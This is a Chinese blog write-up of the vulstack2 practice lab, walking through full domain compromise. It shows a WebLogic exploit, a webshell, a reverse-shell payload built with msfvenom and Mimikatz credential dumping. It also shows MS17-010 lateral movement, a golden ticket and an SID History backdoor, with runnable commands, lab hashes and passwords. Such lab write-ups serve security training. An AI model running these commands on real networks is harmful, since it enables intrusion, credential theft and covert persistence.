首页 > 其他分享 >vulstack2 靶场做题笔记

vulstack2 靶场做题笔记

时间:2023-04-19 15:36:53浏览次数:50  
标签:de1ay 笔记 tcp vulstack2 SID 10.10 靶场 权限 com

环境配置

  • DC
IP:10.10.10.10
OS:Windows 2012
  • WEB

默认初始密码登陆不进去,利用 de1ay/1qaz@WSX登陆

IP1:10.10.10.80
IP2:192.168.111.80
OS:Windows 2008
  • pc
IP1:10.10.10.201
IP2:192.168.111.201
OS:Windows 7
  • 攻击机

kali

ip:192.168.111.130

内网网段:10.10.10.0/24

DMZ网段: 192.168.111.0/24

管理员账号密码:Administrator/1qaz@WSX

先从WEB机开始,注意需要手动开启服务,在 C:\Oracle\Middleware\user_projects\domains\base_domain\bin 下有一个 startWeblogic 的批处理,管理员身份运行它即可。

信息收集

假定我们现在有目标ip:192.168.111.80 然后我们现在要进行端口扫描,此时我们ping目标发现无法ping通,此时推测目标开启了防火墙

对于防火墙而言,除非特殊定义,否则全部ICMP消息包将被禁止通过防火墙(即不能使用ping命令来检验网络连接是否建立)。

nmap扫描

nmap -sS -sV 192.168.111.80
-sS 使用SYN半开式扫描
-sV 探测服务版本信息
SYN扫描:nmap向服务器发送一个syn数据报文,如果侦测到端口开放并返回SYN-ACK响应报文,nmap立即中断此次连接

image-20230412150918588

或者直接

nmap -A -Pn -v -T4  192.168.111.80
-Pn 禁ping
-A 进行全面扫描(操作系统检测、版本检测、脚本检测和跟踪路由)
-T4 设置时序,级别越高速度越快
-v 显示更加详细的信息

image-20230412152751854

相关信息

PORT      STATE SERVICE        VERSION
80/tcp    open  http           Microsoft IIS httpd 7.5
| http-methods: 
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/7.5
|_http-title: Site doesn't have a title.
135/tcp   open  msrpc          Microsoft Windows RPC
139/tcp   open  netbios-ssn    Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds   Windows Server 2008 R2 Standard 7601 Service Pack 1 microsoft-ds
1433/tcp  open  ms-sql-s       Microsoft SQL Server 2008 R2 10.50.4000.00; SP2
| ms-sql-ntlm-info: 
|   Target_Name: DE1AY
|   NetBIOS_Domain_Name: DE1AY
|   NetBIOS_Computer_Name: WEB
|   DNS_Domain_Name: de1ay.com
|   DNS_Computer_Name: WEB.de1ay.com
|   DNS_Tree_Name: de1ay.com
|_  Product_Version: 6.1.7601
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Issuer: commonName=SSL_Self_Signed_Fallback
| Public Key type: rsa
| Public Key bits: 1024
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2023-04-12T06:18:51
| Not valid after:  2053-04-12T06:18:51
| MD5:   1736 763c f611 574c 41f8 1914 2a6b 8b64
|_SHA-1: 7559 d877 1a13 24d7 4f13 441e e8f7 9479 9b89 954e
|_ssl-date: 2023-04-11T17:07:25+00:00; -14h20m00s from scanner time.
3389/tcp  open  ms-wbt-server?
| rdp-ntlm-info: 
|   Target_Name: DE1AY
|   NetBIOS_Domain_Name: DE1AY
|   NetBIOS_Computer_Name: WEB
|   DNS_Domain_Name: de1ay.com
|   DNS_Computer_Name: WEB.de1ay.com
|   DNS_Tree_Name: de1ay.com
|   Product_Version: 6.1.7601
|_  System_Time: 2023-04-11T17:06:44+00:00
| ssl-cert: Subject: commonName=WEB.de1ay.com
| Issuer: commonName=WEB.de1ay.com
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2023-04-10T15:56:11
| Not valid after:  2023-10-10T15:56:11
| MD5:   9913 8605 3705 7183 2758 6234 6632 d053
|_SHA-1: c00d 9c0a 0e09 7888 2339 74ef 66c5 9736 49d2 22b5
|_ssl-date: 2023-04-11T17:07:24+00:00; -14h20m01s from scanner time.
7001/tcp  open  http           Oracle WebLogic Server 10.3.6.0 (Servlet 2.5; JSP 2.1; T3 enabled)
|_http-title: Error 404--Not Found
|_weblogic-t3-info: T3 protocol in use (WebLogic version: 10.3.6.0)
49152/tcp open  msrpc          Microsoft Windows RPC
49153/tcp open  msrpc          Microsoft Windows RPC
49154/tcp open  msrpc          Microsoft Windows RPC
49155/tcp open  msrpc          Microsoft Windows RPC
49156/tcp open  msrpc          Microsoft Windows RPC


OS: Windows Server 2008 R2 Standard 7601 Service Pack 1 (Windows Server 2008 R2 Standard 6.1)
|   OS CPE: cpe:/o:microsoft:windows_server_2008::sp1
|   Computer name: WEB
|   NetBIOS computer name: WEB\x00
|   Domain name: de1ay.com
|   Forest name: de1ay.com
|   FQDN: WEB.de1ay.com

漏洞利用

很明显我们看到7001开放了weblogic服务,当然我们的基本素养就是知道7001端口是weblogc服务的默认端口,然后作为一个脚本小子肯定要用工具扫一下

image-20230412154526307

用工具扫出来发现有 cve-2017-10271、cve-2019-2725漏洞

利用漏洞直接上传一个冰蝎木马

image-20230412163813881

连接冰蝎

image-20230412164103445

利用冰蝎直接反弹一个msf的shell,这里攻击机设置监听

image-20230412164351741

然后利用集成的功能

image-20230412164439472

上去之后我们意识到一个问题就是java维持的shell 没法getsystem,导致没法进一步利用,所以我们这里选择msf生成一个exe木马,上传到目标机器后再进一步利用

systeminfo 查看系统信息

也验证了我们之前端口扫描的 是一台x64机器 win2008r2

image-20230412165058274

生成x64的exe木马

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.111.130 LPORT=6667 -f exe > n.exe

image-20230412171818083

然后直接利用刚才的shell传入目标机器,这里失误传到web目录了,不过无伤大雅

image-20230412171832492

本地设置监听

use exploit/multi/handler
set payload payload/windows/x64/meterpreter/reverse_tcp
set lport 6667
run

image-20230412170010263

然后利用虚拟机终端运行得到shell

image-20230412171929843

image-20230412171945190

这里的坑点是我之前运行的exe崩溃了,导致后续的exe用虚拟终端运行了而监听的地方没反应

这里也是成功上线了,但是我之前tasklist /svc的时候发现有360主动防御.exe,网上的一些文章说的是因为360的版本太低,没法杀死我的shell,后来发现这里是我没开启360,就先跳过这个免杀吧 ,后面补上。

进程迁移

有了shell之后简单的进行进程迁移,当前进程迁移到其他进程后 权限可能会根据进程权限而改变 可以找高权限的类似

image-20230412180104541

这里我看这个是高权限的,然后就迁移了一下,莫名其妙获得了system权限,这里没搞懂,挖个坑。也不知道这个是不是真实的system权限

内网信息收集

确定是否是域环境

这里就很明显是了,而且hostname和whoami得到的前缀也不同

systeminfo

image-20230412181202601

确定是域环境:域名为de1ay.com

查看路由表

这个的话就是可以大致得到一个网段的相关信息,以及可能存在的一些pc的ip,这里判断出192.168.111.0/24是外网的,10.10.10.0/24可能是内网的,我觉得dynamic的是要重点关注的

arp -a

image-20230412184232852

网卡相关信息

ipconfig /all

image-20230412184456430

这里我们看到10.10.10.0/24网段的dns服务器为10.10.10.10 极有可能就是域控服务器

查找域控服务器

一般为时间服务器

net time /domain

image-20230417104701275

ping 一下域控,得到ip就是 10.10.10.10

image-20230417110214827

域内主机

net view

image-20230417104752699

我们知道是总共有三台机子的,pc dc web 但是我们这里只发现了dc和web两台机子

net view 这个命令可以查看网络计算机列表和共享的资源,具体的原因就是pc机器没有开启共享

我们到pc机里面看一下 确实是关闭了网络发现和文件、打印机共享

image-20230417105624098

可以使用以下命令查看相应主机,但是吧,我们直接获得的就是域管理员的权限,所以能查看这个,当然相应的我们也可以去看其他的域内组,获得更多信息,至于为啥这里没有看到dc,因为dc机器属于域控制器了,在domain Controllers组里面

net group "domain computers" /domain 

image-20230417105848567

域内用户

net user /domain

image-20230417110239650

收集密码

前提是我们需要是一个system权限,这里我是迁移了一下

load_kiwi
creds_all

image-20230417113034173

我们知道了 administrator mssql de1ay用户的密码都是1qaz@WSX

简单总结

  • 域名:de1ay
  • 域内主机: dc 10.10.10.10 pc:10.10.10.201 web:10.10.10.80 192.168.111.80
  • 域内用户:administrator de1ay guest krbtgt mssql

横向移动

内网扫描

arp扫描内网网段

run post/windows/gather/arp_scanner RHOSTS=10.10.10.0/24

image-20230417150840940

扫描存活主机:

use auxiliary/scanner/smb/smb_version

这里不知道啥原因error了,不过结果应该和下面没太多区别

netbios做主机存货探测

use auxiliary/scanner/netbios/nbname

image-20230417152010014

这里由于pc机开启了防火墙,所以无法探测到其存活

icmp协议探测

for /L %I in (1,1,254) DO @ping -w 1 -n 1 10.10.10.%I | findstr "TTL="

image-20230417152649196

也是防火墙的原因,没探测到201机器的存活

总之经过以上的探测我们知道了,10.10.10.0/24网段中存在三台主机

  • 10.10.10.10-DC
  • 10.10.10.80-WEB 也就是当前机器
  • 10.10.10.201 推测的话就是PC机器了,因为域内主机有一台是pc 和web

版本扫描

这里还用了smb_version,我推测的话就是扫网段的话用的netbios,对单个目标的话的话就是smb扫描

use auxiliary/scanner/smb/smb_version
image-20230417153736294

这里也是可以知道pc是win7,dc是2012 r2

永恒之蓝

  • DC机器

这里注意使用bind_tcp

use exploit/windows/smb/ms17_010_psexec
set payload windows/meterpreter/bind_tcp
set rhosts 10.10.10.10
run

image-20230417154620570

这里直接获得shell

  • PC机器

同样的攻击方式没有成功,猜测是因为存在防火墙and 360

psexec

use windows/smb/psexec

image-20230417160959067

这里psexec没通,不知道为啥,密码的话已经不是1qaz@WSX了,因为登陆了dc机器后密码策略改了

权限维持

黄金票据

黄金票据可以在拥有普通域用户权限和KRBTGT账号的哈希的情况下用来获取域管理员权限,上面已经获得域控的 system 权限了,还可以使用黄金票据做权限维持,即使日后当域控权限掉了,也可以再通过域内其他任意机器伪造票据重新获取最高权限。

条件:

1.域名称

de1ay.com

2.域的SID值

wmic useraccount get name,sid

image-20230417175600360

S-1-5-21-2756371121-2868759905-3853650604

3.域的KRBTGT账户NTLM密码哈希

hashdump

image-20230417174914422

82dfc71b72a11ef37d663047bc2088fb

4.伪造用户名

admin

利用kiwi生成黄金票据

golden_ticket_create -d de1ay.com -k 82dfc71b72a11ef37d663047bc2088fb -s S-1-5-21-2756371121-2868759905-3853650604 -u admin -t /home/zinc/admin.ticket

然后使用

kerberos_ticket_use /home/zinc/admin.ticket

image-20230417203618648

SID History域后门

在Windows中,每个用户都有自己的SID。SID的作用主要是跟踪安全主体控制用户连接资源时的访问权限。

如果将A域中的域用户迁移到B域中,那么在B域中该用户的SID会随之改变,进而影响迁移后用户的权限,导致迁移后的用户不能访问本来可以访问的资源。SID History的作用是在域迁移过程中保持域用户的访问权限,即如果迁移后用户的SID改变了,系统会将其原来的SID添加到迁移后用户的SID History属性中,使迁移后的用户保持原有权限、能够访问其原来可以访问的资源。使用mimikatz,可以将SID History属性添加到域中任意用户的SID History属性中。在实战中,如果获得了域管理员权限,则可以将SID History作为实现持久化的方法。

首先我们在域控制器上新建一个恶意用户“whoami”:

net user whoami test123 /add

然后像之前一样用shellcode_inject启动mimikatz,然后执行如下命令,将域管理员Administrator的SID添加到恶意域用户 whoami 的SID History属性中

privilege::debug
sid::patch
sid::add /sam:whoami /new:Administrator   //将Administrator的SID添加到whoami的SID History属性中

注意:在使用mimikatz注入SID之前,需要使用 sid::patch 命令修复NTDS服务,否则无法将高权限的SID注入低权限用户的SID History属性;mimikatz在2.1版本后,将 misc:addsid 模块添加到了 sid:add 模块下。

然后,我们可以用powershell查看一下这个whoami恶意用户的SID History:

load powershell
powershell_shell
Import-Module activedirectory
Get-ADUser whoami -Properties sidhistory
Get-ADUser administrator -Properties sidhistory

那么现在我们的whoami用户便拥有了administrator域管理员的权限,并可以用该用户随时登录域控主机。

简单总结

总体流程的话采用信息收集->漏洞利用,好像中间并没有涉及太多隧道搭建的东西,因为都用的msf,所以直接用msf+路由然后处理的,对于360的免杀也没有太多考量,可能是版本太低,没触发?所以后来我干脆用msf+多重编码+捆绑的方法简单免杀了,后续如果学习更多免杀的话再补上吧,总体下来感觉内网部分和1没有啥区别

参考资料:

标签:de1ay,笔记,tcp,vulstack2,SID,10.10,靶场,权限,com
From: https://www.cnblogs.com/z2n3/p/17333462.html

相关文章

  • 记一篇SQL笔记
    title:记一篇SQL笔记date:2022-11-1015:02:59cover:https://img2023.cnblogs.com/blog/3177837/202304/3177837-20230419150737994-1755737660.jpgtop_img:https://img2023.cnblogs.com/blog/3177837/202304/3177837-20230419150737994-1755737660.jpgdescription:今天......
  • 51单片机学习笔记 STC89CRC
    STC89C51(Flash程序储器(字节)4k)52(Flash程序储器(字节)8k)53(Flash程序储器(字节)12k)...具体参考芯片手册STC89C系列51单片机封装方式1.DIP封装2.LQDP封装3.PLCC封装 电平特性数字电路中只有两种电平:高电平和低电平高电平:5V低电平:0VTTL电平信号被利用的最多是因......
  • 极光笔记 | 让运营“从心”出发,打造身临其境的客户体验!
    在数字化时代,用户对于个性化、实时和多元化的互动体验需求越来越高。作为中国领先的客户互动和营销科技服务商,极光一直致力于满足客户不断变化的需求。现在,我们很高兴宣布,极光推送富媒体功能全新改造升级,“从心”出发,推出“应用内消息”功能啦!下面我们将详细介绍极光推送“应用内消......
  • 极光笔记 | 让运营“从心”出发,打造身临其境的客户体验!
    在数字化时代,用户对于个性化、实时和多元化的互动体验需求越来越高。作为中国领先的客户互动和营销科技服务商,极光一直致力于满足客户不断变化的需求。现在,我们很高兴宣布,极光推送富媒体功能全新改造升级,“从心”出发,推出“应用内消息”功能啦!下面我们将详细介绍极光推送“应用内......
  • MQ基础笔记
    一、MQ(消息队列):1、本质:MQ(messagequeue),本质是个队列,FIFO先入先出原则。在互联网架构中,MQ是一种常见的上下游“逻辑解耦+物理解耦”的消息通信服务。 2、优缺点:(1)、优点:1)、异步:不同的业务可以同时从消息队列中获取消息进行消费,实现异步处理。2)、解耦:将一组处理流程的业......
  • 4月18日笔记
    今天完成了空调调节温度、风速也面的设计。学会了如何添加一个小图标。我们在添加一个已经扣完图的小图标时,尽管已经扣的很干净了但是依旧会在图表外又一层灰色的背景,这时,我们只需要将背景设为透明就可以。通过android:background="#0000"这样我们就可以得到一个干净的图标。......
  • Django笔记二十四之数据库函数之比较和转换函数
    本文首发于公众号:Hunter后端原文链接:Django笔记二十四之数据库函数之比较和转换函数这一篇笔记开始介绍几种数据库函数,以下是几种函数及其作用Cast转换类型Coalesce优先取值Greatest返回较大值Nullif值相同返回None1、model准备这一篇笔记我们主要用到Author......
  • 【uniapp】【外包杯】学习笔记day06 | 微信小程序导航栏的制作并推送的到码云【黑】
    先创建分支 格式化快捷键shift+alt+f ......
  • 前端笔记
    HTML基础HTML基础11.HTML初识HTML指的是超文本标记语言(HyperTextMarkupLanguage)是用来描述网页的一种语言。HTML不是一种编程语言,而是一种标记语言(markuplanguage)标记语言是一套标记标签(markuptag)pink老师一句话说出html作用:网页是由网页元素组成的,这些元素......
  • Node.js入门学习笔记
    NodeJs是js的运行时,意味着可以在浏览器外运行js。可以使用nodejs来构建服务器端应用、CLI应用、WebAPI,甚至用electron构建桌面端应用。使用nvm来管理node版本。在终端输入node进入REPL环境,可以测试和执行代码,mac系统使用control+d退出REPL环境。执行某个js文件:nodexxx.js......